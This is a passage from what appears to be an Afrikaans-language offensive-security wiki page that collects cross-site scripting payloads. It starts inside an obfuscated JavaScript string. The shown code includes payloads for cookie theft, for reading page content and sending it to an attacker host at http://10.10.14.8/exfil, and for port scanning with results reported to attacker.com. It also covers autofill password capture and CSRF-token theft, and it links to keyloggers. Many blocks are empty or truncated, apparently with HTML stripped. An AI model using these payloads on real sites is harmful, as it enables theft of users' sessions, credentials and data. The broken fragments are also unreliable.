ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ﾟｰﾟ + ﾟДﾟ[ﾟεﾟ] + (ﾟｰﾟ + ﾟΘﾟ) + (c ^ _ ^ o) + ﾟДﾟ[ﾟεﾟ] + ﾟｰﾟ + ((o ^ _ ^ o) - ﾟΘﾟ) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ﾟΘﾟ + (c ^ _ ^ o) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ﾟｰﾟ + (ﾟｰﾟ + ﾟΘﾟ) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + (ﾟｰﾟ + ﾟΘﾟ) + ﾟｰﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + (ﾟｰﾟ + ﾟΘﾟ) + ﾟｰﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + (ﾟｰﾟ + ﾟΘﾟ) + (ﾟｰﾟ + (o ^ _ ^ o)) + ﾟДﾟ[ﾟεﾟ] + (ﾟｰﾟ + ﾟΘﾟ) + ﾟｰﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟｰﾟ + (c ^ _ ^ o) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ﾟΘﾟ + ((o ^ _ ^ o) - ﾟΘﾟ) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ﾟｰﾟ + ﾟΘﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ﾟｰﾟ + ﾟΘﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ((o ^ _ ^ o) - ﾟΘﾟ) + (o ^ _ ^ o) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ﾟｰﾟ + (o ^ _ ^ o) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ﾟΘﾟ) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + (ﾟｰﾟ + ﾟΘﾟ) + ﾟΘﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + (c ^ _ ^ o) + ﾟДﾟ[ﾟεﾟ] + ﾟΘﾟ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ﾟｰﾟ + ﾟДﾟ[ﾟεﾟ] + ﾟｰﾟ + ((o ^ _ ^ o) - ﾟΘﾟ) + ﾟДﾟ[ﾟεﾟ] + (ﾟｰﾟ + ﾟΘﾟ) + ﾟΘﾟ + ﾟДﾟ[ﾟoﾟ] )(ﾟΘﾟ) )("_") ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS algemene payloads ### Verskeie payloads in 1 {{#ref}} steal-info-js.md {{#endref}} ### Iframe Val Laat die gebruiker toe om in die bladsy te navigeer sonder om 'n iframe te verlaat en steel sy aksies (insluitend inligting wat in vorms gestuur word): {{#ref}} ../iframe-traps.md {{#endref}} ### Herwin Koekies ```javascript /?c="+document.cookie> ``` > [!NOTE] > Jy **sal nie in staat wees om die koekies vanaf JavaScript te bekom nie** as die HTTPOnly-vlag in die koekie gestel is. Maar hier is ['n paar maniere om hierdie beskerming te omseil](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is. ### Steel Bladsy Inhoud ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open("GET", url, true) xhr.send(null) ``` ### Vind interne IP's ```html ``` ### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Auto-vul wagwoorde vang ```javascript Username:
Password:
``` Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvaller se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe ge-exfiltreer word. ### Keylogger Net deur in github te soek, het ek 'n paar verskillende gevind: - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) - Jy kan ook metasploit `http_javascript_keylogger` gebruik ### Stealing CSRF tokens ```javascript ``` ### Steel PostMessage boodskappe ```html ``` ### Misbruik van Dienswerkers {{#ref}} abusing-service-workers.md {{#endref}} ### Toegang tot Skadu-DOM {{#ref}} shadow-dom.md {{#endref}} ### Polyglotte {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} ### Blinde XSS-ladinge Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com) ```html "> "> >Click Me For An Awesome Time "> ">